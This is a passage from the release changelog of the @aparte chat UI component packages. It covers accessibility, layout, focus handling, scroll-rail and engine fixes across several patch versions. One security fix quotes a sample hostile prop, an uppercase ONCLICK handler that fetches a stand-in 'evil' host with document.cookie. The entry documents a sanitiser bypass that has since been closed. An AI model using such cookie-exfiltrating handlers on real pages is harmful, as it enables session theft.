--aparte-sidebar-inset(12px); the selected conversation’s mark follows the row’s radius; and the tool row’s chevron, its part labels and icon, the code header’s language label and the branch picker’s disabled arrows are coloured with the muted ink instead of faded by anopacity.Measured on the built previews: the sidebar’s header and footer padded 16 while its search and body padded 12, so a 260px column showed its content on two vertical axes and the app-shell demo four left edges; the 2px selection bar stood square in a 9px-rounded corner with a sliver of the page’s ground between the two; the tool row’s disclosure chevron at
opacity: .5sat at 3.00:1, exactly on the WCAG floor, and it is the control that reveals adelete_file’s arguments; the code language label was already muted and then multiplied by .7; the disabled branch arrow read at 1.74:1 — as absent, not as disabled. Quiet is a colour: opacity on a container fades the glyph with its ground and cannot be reasoned about against any background. The mark is now painted as the first pixels of a row-sized pseudo that inherits the radius — notoverflow: hiddenon the row, which would clip the title button’s focus ring.@aparte/core -
100d089: A
[data-aparte-sidebar-toggle]control now carriesaria-expandedandaria-controls, kept in step by the sidebar whoever changes the state, and the open drawer keeps Tab inside it.The toggle opened and closed the sidebar without announcing its state, while the conversation row’s own
⋯button already did; the sidebar gives itself an id when the host wrote none, so the control can point at it. Tab from the drawer’s last control used to walk out under the scrim onto the transcript it was covering; it wraps to the first control now, and Shift+Tab the other way. Nofocusinguard was added on purpose: it would steal the focus back from a dialog the drawer’s own content opens onto<body>.@aparte/core -
fee67b7: A skeleton text line holds the place of the line it stands for: its height is the content’s font size and its gap the rest of the content line (
--aparte-skeleton-text-height,--aparte-skeleton-text-gapare derived from--aparte-content-font-sizeand--aparte-content-line-height).The bar was 12px on an 18px step while a line of content is 16px on a 27px step, so the text that replaced it jumped by a third of a line per line. A placeholder that does not hold the place it promises is not a placeholder.
@aparte/core -
dc4a7b7: The bubble’s action bar, its branch arrows and the conversation row’s
⋯are all the button recipe’s small step (24px); the select trigger declares its own font size and reads the theme’s--aparte-radius-select.Three controls redrew their own box over the recipe: the arrows set width and height to a 20px token while the element also carried
--sm(24), the⋯did the same at 20, and the action bar fed 28 with a 24 exception for the last user turn — three control heights in one row. They feed the recipe’s token or wear its modifier now, and under(pointer: coarse)the⋯takes the touch-target size like the other four.--aparte-branch-picker-btn-sizeand--aparte-branch-picker-btn-icon-sizeare gone;--aparte-action-bar-btn-sizeand--aparte-conv-action-btn-sizedefault tovar(--aparte-btn-size-sm). The select’s trigger declared nofont-sizeat all and took the host page’s, so every integrator saw a different select; it reads the control step. Its radius existed twice under two names with two values — the private--aparte-select-radiusis gone, the theme’s--aparte-radius-selectstays.@aparte/core -
fee67b7: The split’s seam is a 1px line (
--aparte-split-seam-width, the kit’s border width) painted inside a 12px track (--aparte-split-handle-size, it was the 4px painted seam), with a grip under the pointer and while dragging.One token sized both the grid track and the painted line, so the seam could not be thinned without moving the layout; at 4px it was four times the kit’s rule and had nothing to take hold of — an interaction drawn as a decoration. The panes give up 8px between them; the grab zone is what it was on a fine pointer and the touch target on a coarse one.
@aparte/core -
1f89afc: The segmented tab track is as wide as its chips (not its container), its selected chip is raised on both grounds, the tab panel shares the tab’s inline inset; the elicitation’s recommended option keeps its ground while focused, and the options sit far enough apart for the focus ring to show whole.
.aparte-tabs--segmentedwas a block-level flex row and painted 1207px of track for 160px of chips at 1280; it isinline-flex. Its selected chip was an absolute surface level — raised in light, sunken in dark — and now carries a 1px ring in the border colour. The panel had no inline padding, so its text hung 11px left of the tab above it. In the elicitation panel the recommended option, the one that takes focus on mount, was the only row with no ground: the rule that cleared its tinted border under focus cleared its background too. And the options sat 2px apart, narrower than the focus ring’s outset, so the next row painted over the ring’s bottom edge; the gap is 6px.@aparte/core -
dc4a7b7:
data-side="top | bottom | start | end"places a tooltip against its trigger — wrap the trigger in.aparte-tooltip-anchor— and turns the arrow to match;--aparte-tooltip-gapis the distance. No inline positioning needed any more.The recipe drew the box and the arrow and left the placement to two inline styles in its own example. A demo that needs inline styles to work is a recipe with a parameter it forgot. Flipping a tooltip that would leave the viewport stays out: that needs script, and it is a positioning library’s job. Without
data-sidenothing is positioned, as before.@aparte/core -
54ab107: The type ramp rises in the order of its names:
--aparte-font-size-lgis 1.0625rem (above the body’sbase, it was 0.875rem — below it), and--aparte-font-size-xl(1.25rem) and--aparte-font-size-2xl(1.5rem) exist. Every reader of the oldlgmoved to the step it meant: the text a person types is the body size, a sender name sits one step under the prose, a card title is above its body, an elicitation question is larger than its options, a dialog title takes the newlg, the large field and the large buttons speak at the body size.Measured: a welcome title and a placeholder at the same size, a card’s title smaller than its body, a full-screen dialog’s title at 14px, and the typed text the smallest in the chat. A scale whose name lies is worse than a short one. The artifact card’s labels that read
lgfor “a notch above the control text” now readbaseormd, so they keep their size.@aparte/core,@aparte/plugin-artifacts -
7e5910a:
<aparte-model-selector disabled>disables the picker, and inside an<aparte-composer>the picker follows the composer’s owndisabled— it used to stay fully operable while the field and the send button around it were inert.@aparte/plugin-model-selector -
d78b150: Stops writing the
groupedattribute on its<aparte-select>: the select never read it, groups render from the<aparte-optgroup>children alone.@aparte/plugin-model-selector -
2e8f3ed:
approvalWaitingreads « En attente » (was « en attente de vous »): one capitalised word, the shape every other tool state uses in the row.@aparte/locale-fr -
d78b150: Adds
loading(“Chargement…”), the text an option group shows while its options are fetched.@aparte/locale-fr
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/docs-mcp.
0.16.9
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
2b1d809: A composer inside a chat host that has an
idnow stamps that id onaparte-send; on a page with two raw-core chats the reply no longer lands in the wrong one.submit()read the baretargetattribute. All four wrappers set it, so nothing changes there — but the documented quick start writes its markup by hand and nothing setstarget, so every send from raw core carriedtargetId: undefinedand the host delivered the answer to whichever chat it resolved first.The composer’s other outbound path,
cancel(), already resolved through_ownTargetId()— the attribute if a wrapper set one, else the id of the<aparte-chat>/[data-aparte-chat]host above.submit()now resolves the same way, which is the invariantcancel()’s own docblock states: both sides answer the question “which chat am I” identically.@aparte/core -
df0d60e: The ✕ that removes a pending attachment is 24px on touch, not 18px.
It is the only way to drop a file attached by mistake, and 18px is under the 24 of WCAG 2.2 SC 2.5.8. The coarse-pointer block already made the button visible there — a finger cannot hover — but left it at the size a mouse gets.
24 is not a new number: it is the box
aparte-btn--smalready draws (--aparte-btn-size-sm: 24px), so the component simply stops out-specifying the recipe on touch. Not the 44px--aparte-touch-target-sizeits neighbours take: the composer’s pending tile is 56px (--aparte-attachment-image-size, set onaparte-composer-attachments), so a 24px ✕ is already 43% of its edge and a 44px one would cover most of the picture — matching the neighbours properly means growing the tile too, a separate decision.@aparte/core -
60e33eb: The composer’s editor is exactly the control height at rest: its block padding derives from the control size and its own line (
--aparte-input-padding-y: calc((var(--aparte-composer-control-size) - 1lh) / 2)), so the send and attachment buttons share the editor’s centre on one line and follow its last line when the text wraps.Measured on the built preview at 768: 36px buttons beside a 44px editor (10px of padding, a 24.3px line, 10px of padding) in a row aligned at the end, so the send button sat 4px below the editor’s centre. A consumer who had set
--aparte-input-padding-ykeeps what they set; the default alone moves.@aparte/core -
7fbd763: Cancelling or saving an inline message edit returns the focus to the bubble’s action bar instead of dropping it to the top of the page.
Both exits destroy the element that holds the focus: the editor node is removed, and the action bar is rebuilt with
innerHTML, so the ✓ / ✗ buttons go with it. Focus fell to<body>, and the next Tab restarted at the top of the document — a reader who edited the fourth message of a long transcript had to walk all the way back down to it.The bubble now remembers the
data-actionof the button the editor was opened from and focuses that action again on the way out. The string, not the node: the bar’s markup is rewritten twice between the two moments, so the node identity cannot survive. When the focus was outside the bubble when the editor opened, nothing is remembered and nothing is pulled back — that would be theft, not a restore.@aparte/core -
79a55a3: Reaching the elicitation panel’s “Other…” radio with the arrow keys now reveals the text field without moving the focus into it; a click or Space still focuses it.
Arrow keys select as they move inside a radiogroup, so the
changethey fire is not consent. Focusing on it carried a keyboard reader out of the group with no activation at all — WCAG SC 3.2.2 and its F36 failure, the same rule this panel already follows when it makes one choice one button.@aparte/core -
204343f: Lifecycle events (
aparte-message-start/-done/-error/-aborted, and the tool-approval request) now carry the chat’s id when the render target is a shell’s viewport, so a second chat on the page no longer answers to the first one’s turn.The stamp read
target.id, and the target is whatever RENDERS: an<aparte-chat>shell delegates rendering to its.viewport, which has no id of its own. So on every shell-shaped chat the events went out withtargetId: undefined— and the receive side reads a missing id as “for me”, deliberately, so a single-chat page needs no wiring.On a two-chat page that made one chat’s turn drive every composer: chat B finishing re-enabled chat A’s send button mid-stream and evicted A’s open elicitation panel, so the question vanished under the user’s cursor while A’s tool call kept waiting. The client now resolves the id by climbing to the chat host — the same rule
aparte-composeruses to identify itself, so the two halves of the channel cannot disagree — andtarget.idremains the fallback, which is correct for the viewport-only chat shape.@aparte/core -
4cfda77: Uppercase and mixed-case
on*props (ONCLICK) are now dropped like lowercase ones; they previously became live inline handlers.applyElementProps— what the React and Angular wrappers use to spread a consumer’s prop bag onto an aparté element — refusedonclickbut tested the key withkey.startsWith('on'), which only ever matched the lowercase spelling. An attribute name is case-insensitive, so{ ONCLICK: 'fetch("//evil/?" + document.cookie)' }fell through tosetAttributeand wrote exactly theonclickthe branch existed to refuse.The check is now
key.toLowerCase().startsWith('on'), the idiom core’s sanitizer already uses. The lowercasing is scoped to that one branch: a CSS custom property IS case-sensitive, so the--branch keeps the key it was given.@aparte/core -
8a77487: The sidebar drawer keeps the keyboard when its search filter hides rows: Tab wraps from the last visible control instead of walking out onto the page under the scrim.
The trap listed its stops with
querySelectorAlland treated the DOM-last one as the end of the drawer. The drawer’s own search field hides non-matching rows withhidden, and a hidden row’s buttons hold no tab stop — so after typing one letter the “last” stop was unreachable, the wrap never fired, and Tab from the last control a reader could actually see left the drawer for the transcript underneath. Opening the drawer had the same blind spot: it focused the DOM-first control even when that one was hidden.Both now count only what a reader can reach (
[hidden]ancestors excluded, pluscheckVisibility()where the browser offers it, which also catches adisplay: nonefrom a host stylesheet).@aparte/core -
7fbd763: Leaving a bubble’s inline editor now lands on a button the reader can actually use, and moves the action bar’s tab stop with it.
The restore added in the previous patch focused the button that opened the editor, but stopped there, and two cases in its own subject — the reader must not lose their place — still lost it.
The bar is a
role="toolbar": one tab stop that the arrows move. Rebuilding it parks that stop on the first button (copy), so focusing edit put the reader on atabindex="-1"member — Shift+Tab out and Tab back returned them to copy, not to the button they were on. The restore now sets the stop before focusing, the same two lines the arrow-key handler already uses.And the remembered action can come back disabled — the reader sent from the composer mid-edit, so the transcript is busy and edit is rebuilt disabled — or gone, if the action was turned off while the editor was open.
focus()on a disabled button is a no-op, so the focus fell to<body>: the exact bug, silently. The restore now falls back to the bar’s first enabled button.@aparte/core -
204343f: Retry and edit no longer put empty assistant turns on the wire: a failed turn, or one stopped before its first token, is dropped the same way send drops it.
Send, retry and edit all answer the same question — what did this conversation say so far? — and they answered it with two different pieces of code. Send filtered out errored turns and anything whose wire text came out empty; retry and edit kept every user and assistant row whatever its status, so a failed turn reached the model as
{ role: 'assistant', content: '' }. Some providers reject that outright; the rest read it as an empty reply worth imitating.The slice stays each caller’s own business — retry cuts before the reply it regenerates, edit after the message being reworded, send at the last answered turn. What a message contributes to the wire is now one rule the three of them share.
@aparte/core -
191aa24: The
<aparte-chat-status>caveat names the tokens the sheet actually reassigns (--aparte-message-padding-block/-inline); the theming guide and the landing page stop offering two variables 0.16.8 removed.--aparte-message-paddingwas split into-block/-inlineand--aparte-avatar-radiusbecame--aparte-avatar-radius-ratio(a fraction of--aparte-avatar-size, not a length — the guide now says so, because swapping the name and passing6pxis the natural next mistake). Both kept being offered: in the theming guide’s grouped token list, in the status element’s own JSDoc — which the generated component page reprints — and, for the avatar one, in the landing page’s three-line “one instance, three variables” snippet, the page whose whole job is to make the theming promise credible.A name that does not exist fails in silence: the declaration is invalid at computed-value time, the property inherits, and the page looks almost right. That is the exact failure the same guide has a section warning about, so the pages taught the mistake they teach you to avoid.
check:derived-varsnow reads variable names out of that prose — the two pages plus every JSDoc block in core’s and the plugins’ source — and refuses one the library cannot answer to; a family prefix (--aparte-code-*) and a line markedundeclared-on-purposeare the two exceptions, the second for the guide’s own worked example of a name core does not declare.@aparte/core -
2b1d809: Closing or evicting a composer panel no longer steals the focus: the caret stays where the reader put it unless focus was inside the composer.
_teardownPanel()ended on an unconditionalthis.focus(), which forwards to the composer’s editor. So every close moved the caret there — including the one nobody asks for: a turn ending evicts any open panel, and a turn ends because the model finished. A reader who had moved to another chat’s field, a search box, or a link was pulled back mid-keystroke.It now asks first, and asks BEFORE removing the panel: removing the focused element drops focus to
<body>, after which the question has no answer. That is the reasoning<aparte-elicitation>’s own restoration already records — and its guard was being defeated by this one, since the teardown ran first and put the focus back inside the composer, which made “was the reader still in the panel?” answer yes.@aparte/core -
04b9dd0: The scroll rail’s first and last tick are full 24px targets: the rail pads its block axis so its own clipping no longer cuts them in half.
--aparte-scroll-rail-hit-sizegrows the pressable zone symmetrically around the drawn line — half ofhit − thicknessabove it and half below.aparte-scroll-railclips (overflow: hidden, which cuts at the padding box) and had no padding, and.aparte-scroll-rail__listhas none either, so the first tick’s top edge sat exactly on the clip line: its upper 11px were cut, and the last tick’s lower 11px with it, for paint and for hit-testing alike. Two 13px targets, under WCAG 2.5.8’s 24px — and they are the two a reader aims at most, “jump to the first message” and “jump to the latest”.The fix is the room, not a smaller zone:
padding-block: calc((hit − thickness) / 2)puts the clip line outside every zone instead of through the two end ones. The inline axis already had this reasoning — it is why a zone grows inward only and why--aparte-scroll-rail-widthcarries the hit size as a floor — and it simply had not been carried to the block axis.What moves if you had measured the rail: it is
box-sizing: border-boxnow, somax-heightstill means the same outer box, and the ticks get 22px less room inside it — a very long transcript clips one tick sooner. The drawn line, the pitch and every token are unchanged.@aparte/core -
04b9dd0: The scroll rail is positioned inside the chat under the Angular wrapper too, and no longer gets pulled back into the flow in overlay mode.
<aparte-scroll-rail>isposition: absolute, so it lands in the nearest positioned ancestor. The recipe hands the shell that containing block with:has(), and it listed two of the three shell shapes core’s own layout already knows: the vanilla<aparte-chat>and the[data-aparte-chat]div React/Vue/Svelte render. Angular’s host IS<aparte-chat>but its shell is the inner.aparte-chat-container, and that div carries no attribute — so a rail inside an Angular chat escaped to whatever ancestor happened to be positioned, in the ordinary case the page..aparte-chat-container:has(> aparte-scroll-rail)closes it; the other two wrappers’ root already carries both the class and the attribute, so nothing moves for them.The second half is the same rail, in overlay mode. The bottom-stack rule said
> :not(aparte-chat-viewport)on the premise that the only child which is not the viewport IS the stack — true when it was written, and the rail made it false: it matched, tookposition: relative, and the one child that floats by design dropped into the flow above the composer. The:not()now names both.@aparte/core -
04b9dd0: Scroll-rail ticks are 24px click targets on a 24px pitch.
--aparte-scroll-rail-hit-sizeis the new knob and--aparte-scroll-rail-gapnow derives from it, so fewer ticks fit in the rail before it clips.A tick is a
<button>that jumps the transcript, and it was drawn as the line it stands for: the pressable zone measured 22×10 CSS px on a 10px pitch, under WCAG 2.5.8’s 24×24 minimum with no spacing exemption to fall back on (the exemption is measured on a 24px circle per target, and at a 10px pitch the neighbours’ circles overlap). The rail hides entirely under(pointer: coarse), so the bar is 2.5.8’s 24px rather than 2.5.5’s 44px.Growing only the pseudo-element would have satisfied the letter of the rule and made mis-hits worse — two 24px zones on a 10px pitch overlap by 14px, and the z-order then decides every press — so the pitch rises with the zone:
--aparte-scroll-rail-gapishit − thickness, which makes gap + thickness exactly the pitch and the zones tile edge to edge.What to change if you had tuned these: set
--aparte-scroll-rail-hit-sizerather than--aparte-scroll-rail-gap, since the gap now follows it.--aparte-scroll-rail-widthtakes the hit size as a floor (max(…)) because the rail clips: a narrower column cut the zone back on the very edge a reader aims at. The drawn line is unchanged at 14×2.@aparte/core -
ce72d8e: A searchable
<aparte-select>again announces which option is selected: its trigger’s accessible name is now"<control>: <selected label>"(e.g. “Pick a model: GPT-4o mini”) instead of the control’s name alone.searchablemakes the trigger arole="button", and a button takes its name from its content — which an authoraria-labeloverrides. The name written for the combobox shape (where the visible label span was the VALUE and the attribute only the NAME) therefore swallowed the selection: readers heard “Pick a model, button” and never the model. The name now carries both halves, follows every selection change, and drops the second half when it would only repeat the first. The listbox keeps the control’s name, and a non-searchable select is unchanged.@aparte/core -
204343f:
history: 'viewport'now sends assistant turns a host seeded without astatus; the whole transcript used to be dropped and the model got only the new question.statusis optional onAparteMessage, and a host that seeds a transcript — restoring a saved conversation, hydrating a server-rendered one — has no reason to invent one for turns that are already over._toHistoryMessagesgated onstatus === 'completed', so with none the cutoff never advanced past the first message and every seeded turn was sliced away. Nothing in the UI showed it: the viewport still rendered the whole conversation, and only the next request was missing it.Both gates now ask “is this still in flight?” instead: a
streamingorpendingturn is held back, anerrorturn is still dropped and still does not advance the cutoff, and everything else — status or no status — is history.@aparte/core -
ce72d8e: A searchable
<aparte-select>now putsrole="combobox",aria-expanded,aria-controlsand the rovingaria-activedescendanton the filter field instead of the trigger, so the arrow-key highlight is announced. The trigger becomes arole="button"when (and only when) the field exists; withoutsearchablenothing changes.Opening a searchable select focuses the filter field, and a screen reader follows focus — so the combobox state has to live there. It lived on the trigger: the highlight moved with every ArrowDown and was announced to nobody, and the control declared two comboboxes for one value.
aria-expandednow follows the open state on both elements.@aparte/core -
ce72d8e: A disabled
<aparte-select>no longer removes theopenattribute you wrote, and opens the moment you removedisabled.openis the consumer’s attribute, and a one-way binding writes it once: taking it back left the template saying open and the element saying closed, with no write left to reconcile them —<aparte-select [disabled]="true" [open]="true">in Angular went to the element and came straight back out. The select still refuses to open while disabled; the attribute simply stands, and thedisabledbranch honours it on the way out, symmetrically to the close it already does on the way in.@aparte/core -
ce72d8e: Setting
openon<aparte-select>— the attribute or the property, after mount or in the initial markup — now runs the same path as a click:aria-expandedfollows in both directions, the keyboard highlight is seeded on open and cleared on close, andaparte-select-open/aparte-select-closefire once per transition. A disabled select still refuses to open, and drops theopenattribute rather than leaving it claiming otherwise.The attribute had a branch of its own that unhid the panel and stopped there, so the documented way to control the dropdown produced a state a click never produces: a visible list announced as collapsed, with the arrow keys starting from nowhere. The branch now delegates, guarded against the re-entry the two methods’ own reflecting writes cause.
@aparte/core -
ce72d8e: Re-parenting an open
<aparte-select>no longer fires a secondaparte-select-openor resets the keyboard highlight: a portal, a Vue teleport or any framework move keeps the dropdown exactly where it was.connectedCallbackruns on every re-connect, and routing the mount-timeopenattribute through the open path made a move look like a transition — the event fired again and the highlight was re-seeded on the selected option, losing where the arrow keys had got to. Mount now only opens when the element is not already open, and_openDropdown()returns early when it is, so every entry into it (attribute, property, click, re-connect) is idempotent.@aparte/core -
c9d863d: Renaming a conversation now keeps the focus on the row when you leave the field by Tab or by clicking away, not only on Enter.
Every exit re-renders the list, so the field the reader was typing in stops existing. Enter and Escape put the row’s title button back under the keyboard; the blur path passed a hard-coded
falseand left the focus on<body>, so the next Tab restarted at the top of the page. It now looks at where the focus is going: nowhere, or somewhere inside the list this render is about to destroy, and the row takes it back — a live control outside the list keeps it, since pulling it back from there would be theft.The restore also moved after the
aparte-rename-conversationevent rather than before it. A host that re-assignsconversationswhen it hears that event re-renders the list, which destroyed the button that had just been focused — so even Enter lost the row in the one integration that matters most.@aparte/core -
6e7386b:
<aparte-chat-status>now carries a screen-reader-only word inside its live region, so the default dots-only form is announced instead of being silent.The container is
role="status" aria-live="polite", and a live region announces its CONTENT. In the dots-only default that content was anaria-hiddendot and an empty span — the empty string — so the whole state rode onaria-label, which names the region rather than reporting it. A sighted reader saw the dots pulse; a screen-reader user was told nothing.One writer now keeps exactly one of the two text nodes populated: the visible
.aparte-status-textwhen thetextattribute is set (the label is already that same string, so a second copy would be read twice), and a new.aparte-status-srspan wearing the existing.aparte-sr-onlyrecipe when it is not. No new CSS, no new token, and the documented dots-only LOOK is unchanged — nothing visible was added.One edge aligns as a consequence: mounting with an empty
text=""used to print the literalTypingon screen, where settingtext=""after mount cleared it. Both paths now read an empty attribute as the dots-only default.@aparte/core -
6e7386b:
<aparte-chat-status>writes its fallback word into the live region whenvisiblearrives, and clears it whenvisibleleaves — so a screen reader hears the indicator on every turn, not just in theory.The word was there already; it was written at the wrong moment.
_render()putTypingin the screen-reader span while the host was stilldisplay: none(aparte-chat-status:not([visible])hides it, and all four wrappers mount the element once and flip the attribute). So the region was never MUTATED while it was exposed: it appeared with its text already in it — the reveal-from-hidden path assistive tech is documented not to announce reliably — and from the second turn on there was not even a reveal-time difference, the string being byte-identical to what was sitting there.Driving it from visibility makes each turn a real content change on a region that is already on screen, which is the path that announces. Nothing about the look moves: the dots-only line is still dots-only, and when
textis set the visible span carries it exactly as before, with the screen-reader span left empty so the line is read once.If you drive the element by hand rather than through a wrapper,
show()/hide()(or thevisibleattribute) is now what puts the word in the region — mounting it withoutvisibleleaves the region empty, as it should, since the element is not on screen.@aparte/core -
52a9a00: The tabs recipe’s examples now ship the roving
tabindex,aria-controlsandaria-labelledbythat theirrole="tablist"promises, and the segmented variant has a panel. Copying the banner markup no longer copies a defect.The examples are the live preview the kit page renders, and they showed a
role="tablist"of plain buttons: every tab a tab stop, none of them naming a panel — which announces more than plain buttons and does less. The banner now also says which part stays the app’s (the ArrowLeft/ArrowRight/Home/End handler) and points at a working one.@aparte/core -
97eb642: The image-preview button is now the thumbnail image rather than the tile: the ✕ is no longer a button nested inside a button, and the tile no longer announces its file name three times.
In the composer’s pending strip,
role="button"sat on the tile, and the tile wraps the remove<button>. No role permits a button inside a button, and the outer one takes its name from its contents — so a screen reader read the file name from thetitle, again from the hover overlay, and a third time inside “Remove report.png”, then offered two nested controls with no way to tell which an Enter would reach.The role, the tab stop and an explicit
aria-label(the file name, once) now sit on the<img>, which is what the preview opens; the ✕ sits beside it. Its focus ring is drawn inset, because the tile is the frame and clips: an outline drawn outward from an image that fills the tile would not be visible at all.The sent-message strip in the bubble is unchanged and keeps the role on its tile — it has no ✕, so nothing is nested and the tile is the whole control.
@aparte/core -
7389228: A Stop now ends the run immediately even when a tool handler ignores its abort signal — the turn no longer sits until
toolTimeoutMs(five minutes by default), and a handler that resolves after the Stop no longer appends a tool result.invokeToolHandleralready raced the per-call TIMEOUT, for a measured reason: aborting a controller is a request a handler is free to ignore, and the default shape of a consumer tool —async () => ({ content: await fetch(...).then(r => r.text()) })— never reads its signal. The parent abort was left out of that race. It only ranonParentAbort, which aborts the same child controller the deaf handler ignores, so a Stop pressed while a tool was in flight changed nothing the user could see: the loop stayed parked on the handler, the typing indicator stayed up, andrun-abortedarrived only once the timeout budget expired.The parent signal is now a third racer beside the timeout, on the same terms: the signal still fires first, so a handler that honours it keeps the chance to reject cleanly, and the racer only decides the case where it does not. The listener is removed in the
finallyalongside the existing one, so a long turn does not accumulate listeners on the run’s signal.@aparte/engine -
2cd2c50: The worker now ships as
dist/worker.jsand is constructed from a literalnew URL('./worker.js', import.meta.url), so a bundled app resolves@huggingface/transformersinside the worker instead of failing on every model load. No configuration changes on your side — no worker loader, no copy rule, no entry of your own._spawnWorkercarries a comment saying that literal “is not style”: it is the exact shape Vite’s worker detection and webpack’s WorkerPlugin match on, and matching it is what makes a consumer’s bundler process the worker as a MODULE rather than copy it as an opaque asset. The claim was true of the source and false of the published bytes. The build handed the emit to Vite’s own worker plugin, which rewrote the call tonew Worker(new URL(/* @vite-ignore */ "" + new URL("assets/worker-<hash>.js", import.meta.url).href, import.meta.url))— nothing static left for anyone to detect. The chunk was then copied verbatim, itsimport('@huggingface/transformers')stayed a bare specifier no browser can resolve, and it also pulled two sibling hashed runner chunks a consumer’s build never emitted.Two things had to become true: the worker must sit at a stable path a bundler can be pointed at, and it must contain no specifier a verbatim copy cannot resolve. It is a second lib entry now, so
dist/worker.jsanddist/runners/{shared,text-generation,image-text-to-text}.jsare real published files with names — relative between themselves, so they follow the worker to whatever origin serves it, and@huggingface/transformersis the one bare specifier left. The build removes Vite’sworker-import-meta-urlandasset-import-meta-urltransforms, which is what lets the literal survive into the artifact; dev and the test run keep them, since that is what resolves./worker.jstosrc/worker.tsthere.Both halves are now asserted against the built bytes rather than the source —
src/__tests__/published-shape.test.tsfor the literal and the file, and acheck:bundle-entriescontract that walks the worker’s chunks for stray specifiers. The defect existed only in the output, so only a test that reads the output could have seen it.The cross-origin
blob:path is unchanged: same behaviour, same CSP note, same error message.@aparte/provider-transformers -
a78320a:
summaryMaxTokensreserves room in the window budget; it never truncated the summary and no longer claims to.Its JSDoc read “Hard cap for summary tokens” and
summaryRatio’s read “Ratio of history budget allocated to the summary block”, so both described a bound on the text a summariser returns.splitHistoryBudgetuses them for one thing:summary = min(summaryMaxTokens, budget × summaryRatio), and that number is subtracted from the verbatim window. Nothing measures a summary against it and nothing clips one — a summariser that overruns simply costs the turn more than the split assumed, silently, which is the failure mode a reader trusting the word “cap” would never look for.Words only:
splitHistoryBudget, the defaults and the numbers are untouched. If you need a real bound, clip inside your ownsummarize.@aparte/plugin-compaction -
9a1f93c:
<AparteChat>and<AparteUi>accept callback props alongside their events:onmessageSent,onaction,onmessagesChange,onmessageAppended,ontypingChange,onconversationCreatedon the chat,onelementEventon the element host. Each is called with the payload itself (noCustomEventto unwrap), in addition to the event, so a Svelte 4 consumer changes nothing and a Svelte 5 consumer never writeson:on a component. The Svelte 5 example now runs in runes mode on those callbacks.Svelte 5 documents
createEventDispatcheras deprecated and recommends callback props; measured before this landed, the 5.56 compiler warns on neither the dispatcher noron:on a component (only onon:for a DOM element in runes mode), so this is the framework’s idiom arriving in the wrapper, not an emergency. The other three wrappers already speak theirs: React props, Vue emits, Angular outputs.@aparte/svelte
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.10
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
33b8cc0:
AparteConversationManager.setTitleProvider(fn)replaces how a new conversation is titled from its first user message.A conversation’s title was decided in one private place,
_autoTitle, and it was the message as typed. A consumer with a titler — a model in the browser, a request to a backend, a heuristic — had no way in short of racingupdateTitlebehind every send, and losing the race on the sidebar. The seam is on the manager, which owns that one place:setTitleProvider(provider)/getTitleProvider(), plus atitleProviderconstructor option. The provider receives the message’s text and the message, may be async, and is consulted once per conversation; an empty answer or a throw leaves the default, so a titler that fails never loses the message from the list.updateTitleis untouched.@aparte/plugin-titlerbinds an aparte-titler model to it.@aparte/core -
36af623:
<aparte-scroll-rail>works on a long conversation: it no longer rebuilds itself every frame, every turn stays reachable and the current tick stays visible, a click lands on its message and keeps its mark, and the rail sits clear of a classic scrollbar, centred on the transcript rather than the composer, and never taller than a share of it.Measured in Chromium, Firefox and WebKit on a 40-turn chat before the fix: the rail rebuilt itself 61 to 146 times a second at rest, with a new
IntersectionObservereach time, because its mutation observer watched the whole host subtree — the rail included — and every rebuild replaced every tick. Nothing on a tick survived a frame: focus, the arrow keys, a hover tooltip. Past sixteen ticks the rest was clipped, the current one included, so the mark was invisible on the long thread the rail exists for. A jump ended on the wrong mark two times in three, and landed up to 1,213px off the message on a long transcript, because the bubbles carrycontent-visibility: autoand a scroll aims at an estimated position.Now the rail drops its own mutations, reconciles its ticks by message id (the same nodes, so focus, hover and the tooltip survive an appended turn or a streaming reply) and re-observes only when the bubbles change. It is the height of its list, capped at 60% of the transcript (
--aparte-scroll-rail-share) and centred on it — a list of ticks, as LobeChat’s, not a full-height minimap. When more turns exist than 24px targets fit in that cap, it tightens the pitch to what fits — never under 6px — by setting--aparte-scroll-rail-hit-sizeand--aparte-scroll-rail-gapon itself; past that floor it scrolls, keeping the current tick in its window, and the arrows still walk every tick. A jump holds its mark until the transcript has settled, then re-aligns on the message when the scroll landed off it. Three measurements are published on the element for the stylesheet —--aparte-scroll-rail-bar(a classic scrollbar’s width),--aparte-scroll-rail-block-startand--aparte-scroll-rail-block-end(the transcript’s extent within the host) — and the reading band now starts at the top of the scroll surface so that a bubble a jump aligned there counts.In
overlay-composermode the viewport no longer counts the rail as part of the floating bottom stack when it measures--aparte-bottom-inset: the stylesheet already named the rail as not the stack, the measurement had not, and a rail centred on the transcript froze the inset at the distance from its own top while the composer grew under a draft.If you had styled the rail: it is a flex column now,
overflow-y: autowith no visible scrollbar, and itstopis the middle of the transcript’s measured span rather than of the host.@aparte/core -
3df9174: New package:
setupTitler(manager, { titler: loadTitler })titles each conversation from its first message with an aparte-titler model — 3 to 6 words, in the browser, no API call.The model is not a dependency of the plugin: hand it
@aparte/titler-latin’sloadTitler(17 languages, 133 KB), aTitler, a promise of one, or any object withtitle(message, budget?). The loader runs once, the first time a title is needed.createTitleProvider(options)is the provider alone, for a manager built with thetitleProvideroption; the teardown returned bysetupTitlerrestores the previous provider.@aparte/plugin-titler
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.11 Latest
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
6d3272e: The README carries the webcomponents.org badge; nothing changes in the code you import.
